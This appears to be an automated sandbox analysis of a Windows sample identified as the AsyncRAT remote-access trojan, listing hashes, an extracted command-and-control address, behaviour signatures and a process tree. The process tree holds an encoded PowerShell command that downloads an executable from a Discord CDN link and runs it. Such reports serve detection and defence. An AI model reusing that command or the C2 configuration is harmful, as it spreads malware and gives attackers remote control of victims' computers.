Analysis
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max time kernel
165s -
max time network
175s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
05-12-2022 06:25
Static task
static1
Behavioral task
behavioral1
Sample
d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe
Resource
win10v2004-20220812-en
General
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Target
d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe
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Size
6KB
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MD5
378deda0d1313deba917adfc74173962
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SHA1
cb466cdd64949febdaaae75625d5a3ce0fff6e35
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SHA256
d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9
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SHA512
c1411ed00aeb88b6f92702132d20dac2efacd90e79aee697e1e0431353638353a5f9fa6b575676e0426f1434cede0f59e58559822cc45067893a30f6b8300281
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SSDEEP
96:Ck79rll3VI2St01vk+Al5tONtUqvkC4muMs6d3oj0dirl:J9r/33SCvkRgNtUqvkBmm6dNdq
Malware Config
Extracted
asyncrat
0.5.7B
System Guard Runtime
85.105.88.221:2531
System Guard Runtime
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delay
3
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install
false
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install_file
System Guard Runtime
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install_folder
%AppData%
Signatures
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Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3896-148-0x00000000003A0000-0x00000000003B2000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 18 1428 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
Processes:
dsffe4vb5.exedsffe4vb5.exepid process 4672 dsffe4vb5.exe 3448 dsffe4vb5.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
dsffe4vb5.exedescription pid process target process PID 4672 set thread context of 3896 4672 dsffe4vb5.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1428 powershell.exe 1428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exedsffe4vb5.exedescription pid process Token: SeDebugPrivilege 1428 powershell.exe Token: SeDebugPrivilege 4672 dsffe4vb5.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exepowershell.exedsffe4vb5.exedescription pid process target process PID 2108 wrote to memory of 1428 2108 d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe powershell.exe PID 2108 wrote to memory of 1428 2108 d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe powershell.exe PID 1428 wrote to memory of 4672 1428 powershell.exe dsffe4vb5.exe PID 1428 wrote to memory of 4672 1428 powershell.exe dsffe4vb5.exe PID 1428 wrote to memory of 4672 1428 powershell.exe dsffe4vb5.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe PID 4672 wrote to memory of 3896 4672 dsffe4vb5.exe RegAsm.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe"C:\Users\Admin\AppData\Local\Temp\d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAeQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADQAMgA0ADcANwA0ADEANwA2ADYAOAA4ADAAOAA3ADgANQAvADEAMAA0ADIANAA3ADcANQAwADYANAA4ADMAMQA5ADUAOQA2ADQALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAGwAdgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdABqAHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBlAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAZABzAGYAZgBlADQAdgBiADUALgBlAHgAZQAnACkAKQA8ACMAZQB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgByAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAcQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGQAcwBmAGYAZQA0AHYAYgA1AC4AZQB4AGUAJwApADwAIwByAHMAawAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe"C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
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C:\Users\Admin\AppData\Roaming\dsffe4vb5.exeC:\Users\Admin\AppData\Roaming\dsffe4vb5.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\dsffe4vb5.exe.logFilesize
902B
MD5317ed182314a105b8436cfd8bb3879f6
SHA1aa407b44619a9b06b18d8a39ce27a65b959598e1
SHA25634a156e5235a27901293bd8928b37d13724d62183e409f6d284110280c56f865
SHA51227bc617005ef36be6384484e5cec56d7165d1e9535c9a0b5546f1f082cc4bf5969acb573da77171ac7f4119c8cf50a3ced103cd21485569c9cfcf2e340468604
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C:\Users\Admin\AppData\Roaming\dsffe4vb5.exeFilesize
14.7MB
MD52cbd5d9d43c5c49f0580975e9e620808
SHA117e209b6d6c66882ed78a40d7e0d211760b489a0
SHA256399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403
SHA51226e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812
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C:\Users\Admin\AppData\Roaming\dsffe4vb5.exeFilesize
14.7MB
MD52cbd5d9d43c5c49f0580975e9e620808
SHA117e209b6d6c66882ed78a40d7e0d211760b489a0
SHA256399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403
SHA51226e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812
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C:\Users\Admin\AppData\Roaming\dsffe4vb5.exeFilesize
14.7MB
MD52cbd5d9d43c5c49f0580975e9e620808
SHA117e209b6d6c66882ed78a40d7e0d211760b489a0
SHA256399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403
SHA51226e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812
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memory/1428-140-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
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memory/1428-137-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
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memory/1428-136-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
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memory/1428-133-0x0000000000000000-mapping.dmp
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memory/1428-134-0x000002DB63230000-0x000002DB63252000-memory.dmpFilesize
136KB
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memory/2108-132-0x0000000000920000-0x0000000000928000-memory.dmpFilesize
32KB
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memory/2108-135-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
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memory/3896-146-0x0000000000000000-mapping.dmp
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memory/3896-148-0x00000000003A0000-0x00000000003B2000-memory.dmpFilesize
72KB
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memory/4672-144-0x0000000006110000-0x00000000061A2000-memory.dmpFilesize
584KB
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memory/4672-145-0x0000000006260000-0x00000000062FC000-memory.dmpFilesize
624KB
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memory/4672-143-0x0000000006510000-0x0000000006AB4000-memory.dmpFilesize
5.6MB
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memory/4672-142-0x0000000000190000-0x0000000001040000-memory.dmpFilesize
14.7MB
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memory/4672-138-0x0000000000000000-mapping.dmp